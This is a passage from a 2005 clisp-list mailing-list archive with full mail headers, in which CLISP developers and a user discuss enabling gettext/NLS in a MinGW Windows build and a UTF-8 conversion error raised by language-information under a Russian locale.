src/makemake.in: > > > > for lang in ${ALL_LINGUAS:-"en de fr"}; do This is fixed now. Bruno From kavenchuk@jenty.by Thu Feb 24 23:39:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4a4R-0007V2-Ry for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 23:39:31 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D4a4Q-0004YJ-7W for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 23:39:31 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK37HZH; Fri, 25 Feb 2005 09:42:07 +0200 Message-ID: <421ED655.1070907@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 24 23:42:27 2005 X-Original-Date: Fri, 25 Feb 2005 09:40:05 +0200 Sam Steingold: > >> clisp.exe has certain directories built-in. > >> > > clisp.exe could take the current run-time path? > > how? > > getexecname() is not standard. > > > scroll to question 4.4. > But clisp is for *nix, but is absent for win32. Why it is impossible to make clisp.exe for win32, a using path to the place during start? But I agree this is practically means nothing. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Fri Feb 25 01:31:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4boR-0003XF-Qp for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 01:31:07 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D4bo9-0007GD-3S for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 01:31:07 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK372AW; Fri, 25 Feb 2005 11:33:24 +0200 Message-ID: <421EF06A.1020305@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 HOT_NASTY BODY: Possible porn - Hot, Nasty, Wild, Young 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] language-information give error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 25 01:34:03 2005 X-Original-Date: Fri, 25 Feb 2005 11:31:22 +0200 win2k + clisp from cvs head build with mingw/msys [1]> (set-locale) (:ALL "LC_COLLATE=Russian_Russia.1251;LC_CTYPE=Russian_Russia.1251;LC_MONETARY=Russian_Russia.1251;LC_NUMERIC=C;LC_TIME=Russian_Russia.1251" :COLLATE "Russian_Russia.1251" :CTYPE "Russian_Russia.1251" :MONETARY "Russian_Russia.1251" :NUMERIC "C" :TIME "Russian_Russia.1251") [2]> (language-information) *** - invalid byte sequence #xCF #xED in CHARSET:UTF-8 conversion The following restarts are available: ABORT :R1 ABORT Break 1 [3]> clisp option "-E xxx" where xxx is CP1251, CP866 or UTF-8 does not influence result -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Fri Feb 25 02:40:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4ctC-0006dF-33 for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 02:40:06 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D4ct9-0005JC-U4 for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 02:40:05 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK372FZ; Fri, 25 Feb 2005 12:42:31 +0200 Message-ID: <421F009D.9010105@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 25 02:45:13 2005 X-Original-Date: Fri, 25 Feb 2005 12:40:29 +0200 Sam Steingold: > > In init.lisp: > > .... > > #+GETTEXT (LOAD "german") ; German messages > > #+(and GETTEXT UNICODE) (LOAD "french") ; French messages > > #+(and GETTEXT UNICODE) (LOAD "spanish") ; Spanish messages > > #+GETTEXT (LOAD "dutch") ; Dutch messages > > #+(and GETTEXT UNICODE) (LOAD "russian") ; Russian messages > > .... > > > > I cannot find where appears GETTEXT. > > UNICODE it is declared. > > see src/spvw.d:init_object_tab() > Thanks. But I have got confused: src/spvw.d: ... #ifdef GNU_GETTEXT " :GETTEXT" #endif ... src/lispbibl.d: ... # Whether to use the GNU gettext library for internationalization: #if defined(ENABLE_NLS) && !defined(NO_GETTEXT) #define GNU_GETTEXT #endif ... src/genclisph.d: ... #ifndef LANGUAGE_STATIC #ifndef GNU_GETTEXT printf("#define GETTEXT(english) english\n"); printf("#define CLSTEXT ascii_to_string\n"); #else printf("#define GNU_GETTEXT\n"); ... build-full/clisp.h ... #define ENABLE_NLS 1 ... #define GETTEXT(english) english ... build-full/unixconf.h: (this for win32?) ... #define ENABLE_NLS 1 ... build-full/config.log: ... configure:5306: checking whether NLS is requested configure:5315: result: yes ... ## ----------------- ## ## Output variables. ## ## ----------------- ## ... USE_NLS='yes' ... What order of run *.d(c)? "src/spvw.d" depends on "src/lispbibl.d" or "src/genclisph.d -> clisp.h"? Where a root undefinition GNU_GETTEXT? I am sorry for importunity. I want to force to work gettext. Very much :) Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Feb 25 07:13:44 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4h9z-0002Kn-Ka for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 07:13:43 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D4h9x-0003xE-W3 for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 07:13:43 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1PFBmXC002648; Fri, 25 Feb 2005 10:11:48 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421EF06A.1020305@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 25 Feb 2005 11:31:22 +0200") References: <421EF06A.1020305@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.6 HOT_NASTY BODY: Possible porn - Hot, Nasty, Wild, Young 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: language-information give error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 25 07:18:10 2005 X-Original-Date: Fri, 25 Feb 2005 10:13:08 -0500 > * Yaroslav Kavenchuk [2005-02-25 11:31:22 +0200]: > > win2k + clisp from cvs head build with mingw/msys > > [1]> (set-locale) > > (:ALL > "LC_COLLATE=Russian_Russia.1251;LC_CTYPE=Russian_Russia.1251;LC_MONETARY=Russian_Russia.1251;LC_NUMERIC=C;LC_TIME=Russian_Russia.1251" > :COLLATE "Russian_Russia.1251" :CTYPE "Russian_Russia.1251" :MONETARY > "Russian_Russia.1251" :NUMERIC "C" :TIME "Russian_Russia.1251") > [2]> (language-information) > > *** - invalid byte sequence #xCF #xED in CHARSET:UTF-8 conversion > The following restarts are available: > ABORT :R1 ABORT > Break 1 [3]> > > clisp option "-E xxx" where xxx is CP1251, CP866 or UTF-8 does not > influence result apparently the return value of language-information contains some bytes which are not representable in the encodings you tried. you need a 1:1 encoding. how about "clisp -E iso-8859-1"? -- Sam Steingold (http://www.podval.org/~sds) running w2k Apathy Club meeting this Friday. If you want to come, you're not invited. From bruno@clisp.org Fri Feb 25 07:43:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4hcy-00053j-3y for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 07:43:40 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D4hcx-0000a3-5D for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 07:43:40 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.3/8.13.3) with ESMTP id j1PFhQsZ006132; Fri, 25 Feb 2005 16:43:26 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j1PFhKtN024928; Fri, 25 Feb 2005 16:43:20 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id B25573BDC5; Fri, 25 Feb 2005 15:36:10 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , Yaroslav Kavenchuk User-Agent: KMail/1.5 References: <421EF06A.1020305@jenty.by> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502251636.09406.bruno@clisp.org> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 HOT_NASTY BODY: Possible porn - Hot, Nasty, Wild, Young -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: language-information give error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 25 07:56:59 2005 X-Original-Date: Fri, 25 Feb 2005 16:36:09 +0100 Sam wrote: > > [2]> (language-information) > > > > *** - invalid byte sequence #xCF #xED in CHARSET:UTF-8 conversion > > The following restarts are available: > > ABORT :R1 ABORT > > Break 1 [3]> > > > > clisp option "-E xxx" where xxx is CP1251, CP866 or UTF-8 does not > > influence result The macro res_to_obj() in modules/i18n/gettext.c uses UTF-8 always. I think it should better use *MISC-ENCODING* instead. Bruno From sds@gnu.org Fri Feb 25 07:22:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4hIs-000381-Qc for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 07:22:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D4hIl-0005W3-7M for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 07:22:54 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1PFL2nS003872; Fri, 25 Feb 2005 10:21:02 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421F009D.9010105@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 25 Feb 2005 12:40:29 +0200") References: <421F009D.9010105@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 25 08:48:13 2005 X-Original-Date: Fri, 25 Feb 2005 10:22:21 -0500 > * Yaroslav Kavenchuk [2005-02-25 12:40:29 +0200]: > > Sam Steingold: > >> > In init.lisp: >> > .... >> > #+GETTEXT (LOAD "german") ; German messages >> > #+(and GETTEXT UNICODE) (LOAD "french") ; French messages >> > #+(and GETTEXT UNICODE) (LOAD "spanish") ; Spanish messages >> > #+GETTEXT (LOAD "dutch") ; Dutch messages >> > #+(and GETTEXT UNICODE) (LOAD "russian") ; Russian messages >> > .... >> > >> > I cannot find where appears GETTEXT. >> > UNICODE it is declared. >> >> see src/spvw.d:init_object_tab() >> > Thanks. > But I have got confused: > > src/spvw.d: > ... > #ifdef GNU_GETTEXT > " :GETTEXT" > #endif > ... > > src/lispbibl.d: > ... > # Whether to use the GNU gettext library for internationalization: > #if defined(ENABLE_NLS) && !defined(NO_GETTEXT) > #define GNU_GETTEXT > #endif > ... > > src/genclisph.d: > ... > #ifndef LANGUAGE_STATIC > #ifndef GNU_GETTEXT > printf("#define GETTEXT(english) english\n"); > printf("#define CLSTEXT ascii_to_string\n"); > #else > printf("#define GNU_GETTEXT\n"); > ... > > build-full/clisp.h > ... > #define ENABLE_NLS 1 > ... > #define GETTEXT(english) english > ... > > build-full/unixconf.h: (this for win32?) alas, unixconf.h, although generated on all platforms, is only used on unix (for the sake of msvc users). it really should change, but this is not trivial. if you want to work on this, change lispbibl.d around "# Determine properties of compiler and environment:" so that __MINGW32__ is the same as UNIX and see what happens (you will probably have to put much of win32.d under "#ifndef __MINGW32__") for now, adding #if defined(__MINGW32__) #define ENABLE_NLS 1 #endif to win32.d should fix the immediate problem. > ... > #define ENABLE_NLS 1 > ... > > build-full/config.log: > ... > configure:5306: checking whether NLS is requested > configure:5315: result: yes > ... > ## ----------------- ## > ## Output variables. ## > ## ----------------- ## > ... > USE_NLS='yes' > ... > > > What order of run *.d(c)? > "src/spvw.d" depends on "src/lispbibl.d" or "src/genclisph.d -> clisp.h"? > Where a root undefinition GNU_GETTEXT? -- Sam Steingold (http://www.podval.org/~sds) running w2k As a computer, I find your faith in technology amusing. From bruno@clisp.org Fri Feb 25 07:47:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4hgv-0005XO-PD for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 07:47:45 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4hgu-0007z9-5j for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 07:47:45 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.3/8.13.3) with ESMTP id j1PFlWLx006297; Fri, 25 Feb 2005 16:47:32 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j1PFlRds025052; Fri, 25 Feb 2005 16:47:27 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 90C853BDC5; Fri, 25 Feb 2005 15:40:17 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , Yaroslav Kavenchuk User-Agent: KMail/1.5 References: <421F009D.9010105@jenty.by> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502251640.16462.bruno@clisp.org> X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 25 08:56:28 2005 X-Original-Date: Fri, 25 Feb 2005 16:40:16 +0100 Sam wrote: > for now, adding > > #if defined(__MINGW32__) > #define ENABLE_NLS 1 > #endif > > to win32.d should fix the immediate problem. It would be better if ENABLE_NLS got defined through the CFLAGS in the Makefile, rather than through win32.d. Otherwise gettext would become a build requirement on Woe32. It's better to not make this a requirement but leave it optional. Bruno From sds@gnu.org Fri Feb 25 10:42:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4kQ1-0001Th-O3 for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 10:42:29 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4kQ0-0005Fs-1z for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 10:42:29 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1PIenS7029899; Fri, 25 Feb 2005 13:40:49 -0500 (EST) To: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200502251640.16462.bruno@clisp.org> (Bruno Haible's message of "Fri, 25 Feb 2005 16:40:16 +0100") References: <421F009D.9010105@jenty.by> <200502251640.16462.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 25 10:45:16 2005 X-Original-Date: Fri, 25 Feb 2005 13:42:09 -0500 > * Bruno Haible [2005-02-25 16:40:16 +0100]: > > Sam wrote: >> for now, adding >> >> #if defined(__MINGW32__) >> #define ENABLE_NLS 1 >> #endif >> >> to win32.d should fix the immediate problem. > > It would be better if ENABLE_NLS got defined through the CFLAGS in the > Makefile, rather than through win32.d. Otherwise gettext would become > a build requirement on Woe32. It's better to not make this a > requirement but leave it optional. better yet, use autoconf - include unixconf.h. -- Sam Steingold (http://www.podval.org/~sds) running w2k MS Windows: error: the operation completed successfully. From sds@gnu.org Fri Feb 25 10:41:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4kP5-0001S1-Sv for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 10:41:31 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4kP5-00059j-8x for clisp-list@lists.sourceforge.net; Fri, 25 Feb 2005 10:41:31 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1PIdq2j029744; Fri, 25 Feb 2005 13:39:52 -0500 (EST) To: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200502251636.09406.bruno@clisp.org> (Bruno Haible's message of "Fri, 25 Feb 2005 16:36:09 +0100") References: <421EF06A.1020305@jenty.by> <200502251636.09406.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 HOT_NASTY BODY: Possible porn - Hot, Nasty, Wild, Young -0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: language-information give error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 25 10:46:01 2005 X-Original-Date: Fri, 25 Feb 2005 13:41:12 -0500 > * Bruno Haible [2005-02-25 16:36:09 +0100]: > > Sam wrote: >> > [2]> (language-information) >> > >> > *** - invalid byte sequence #xCF #xED in CHARSET:UTF-8 conversion >> > The following restarts are available: >> > ABORT :R1 ABORT >> > Break 1 [3]> >> > >> > clisp option "-E xxx" where xxx is CP1251, CP866 or UTF-8 does not >> > influence result > > The macro res_to_obj() in modules/i18n/gettext.c uses UTF-8 always. I think > it should better use *MISC-ENCODING* instead. UTF-8 is hard-wired in modules/i18n/gettext.c in many many places. when should it be replaced with *MISC-ENCODING*? -- Sam Steingold (http://www.podval.org/~sds) running w2k MS Windows: error: the operation completed successfully. From kavenchuk@jenty.by Mon Feb 28 07:20:11 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D5mgs-0001No-TX for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 07:20:10 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D5mgr-0001cz-VC for clisp-list@lists.sourceforge.net; Mon, 28 Feb 2005 07:20:10 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9B9SC; Mon, 28 Feb 2005 17:22:38 +0200 Message-ID: <422336C2.4060700@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Bruno Haible References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.6 HOT_NASTY BODY: Possible porn - Hot, Nasty, Wild, Young -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: language-information give error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: 